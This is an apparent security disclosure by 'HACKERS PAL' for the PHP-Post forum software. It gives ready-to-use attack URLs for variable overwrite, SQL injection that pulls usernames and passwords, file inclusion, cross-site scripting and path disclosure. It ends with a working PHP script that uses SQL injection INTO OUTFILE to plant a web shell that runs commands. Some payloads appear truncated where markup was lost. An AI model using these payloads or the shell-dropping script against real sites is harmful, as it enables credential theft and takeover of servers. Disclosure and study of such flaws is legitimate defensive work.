Hello,,=0D
=0D
PHP-Post Multiple Input Validation Vulnerabilities=0D
=0D
Discovered By : HACKERS PAL=0D
Copy rights : HACKERS PAL=0D
Website : http://www.soqor.net=0D 
Email Address : security@soqor.net=0D 
=0D
=0D
variables over write,,=0D
=0D
this php script is injected with variables over write bug=0D
try to make a new variable with the name of any exist variable and it will over write it :)=0D
=0D
example=0D
index.php?table_prefix=myprefix:)=0D
profile.php?table_prefix=myprefix:)%20where%201=1/*=0D
header.php?msgid=w&table_prefix=myprefix:)=0D
=0D
Sql=0D
profile.php?user='%20union%20select%20usernumber,7,7,username,7,7,7,7,7,7,username,7,userpassword,7,7,7,7,7,7,7,7%20from%20phpp_users%20where%20usernumber=1/*=0D
=0D
=0D
Include=0D
=0D
footer.php?template=22=0D
=0D
Xss=0D
=0D
pm.php?s=o&replyuser="><"=0D
dropdown.php?txt_jumpto="><"=0D
=0D
template.php?txt_error==0D
template.php?txt_templatenotexist==0D
=0D
add split to any link like=0D
editprofile.php?split==0D
search.php?split==0D
index.php?split==0D
pm.php?s=i&split==0D
=0D
all the files are injected=0D
=0D
=0D
if logged in=0D
loginline.php?txt_logout==0D
if not=0D
loginline.php?txt_login==0D
=0D
Full path=0D
footer.php?template=22=0D
=0D
template.php?template=red&logincookie[user]=ddddd=0D
=0D
template.php?template=red=0D
=0D
lastvisit.php?=0D
=0D
=0D
Exploit for sql injection:-=0D
Make phpshell named soqor.php in the forum dir=0D
=0D
#!/usr/bin/php -q -d short_open_tag=on=0D
WwW.SoQoR.NeT=0D 
*/=0D
print_r('=0D
/***********************************************/=0D
/* PHP-post remote sql injection make phpshell */=0D
/* by HACKERS PAL  */=0D 
/* site: http://www.soqor.net */');=0D 
if ($argc<2) {=0D
print_r('=0D
/* --                                          */=0D
[-] Usage: php '.$argv[0].' host=0D
[-] Example:=0D
[-] php '.$argv[0].' http://localhost/phpp=0D 
/***********************************************/=0D
');=0D
die;=0D
}=0D
error_reporting(0);=0D
ini_set("max_execution_time",0);=0D
ini_set("default_socket_timeout",5);=0D
=0D
$url=$argv[1];=0D
$exploit1="/footer.php?template=11hack11";=0D
=0D
         Function get_page($url)=0D
         {=0D
=0D
                  if(function_exists("file_get_contents"))=0D
                  {=0D
=0D
                       $contents = file_get_contents($url);=0D
=0D
                          }=0D
                          else=0D
                          {=0D
                              $fp=fopen("$url","r");=0D
                              while($line=fread($fp,1024))=0D
                              {=0D
                               $contents=$contents.$line;=0D
                              }=0D
=0D
=0D
                                  }=0D
                       return $contents;=0D
         }=0D
=0D
     $page = get_page($url.$exploit1);=0D
=0D
             $pa=explode("",$page);=0D
             $pa=explode("",$pa[2]);=0D
             $path = str_replace("footer.php","",$pa[0])."soqor.php";=0D
             $var='\ ';=0D
             $var  = str_replace(" ","",$var);=0D
             $path = str_replace($var,"/",$path);=0D
             $exploit2="/profile.php?user='%20union%20select%201,'',8,9,10,11,12,13,14,15,16,17,18,19,20,21%20INTO%20OUTFILE%20'$path'%20from%20phpp_users/*";=0D
     $page_now = get_page($url.$exploit2);=0D
     Echo "\n[+] Go TO $url/soqor.php?cmd=id\n[+] Change id to any command you want :)";=0D
Die("\n/* Visit us : WwW.SoQoR.NeT */\n/***********************************************/");=0D 
=0D
?>=0D
=0D
WwW.SoQoR.NeT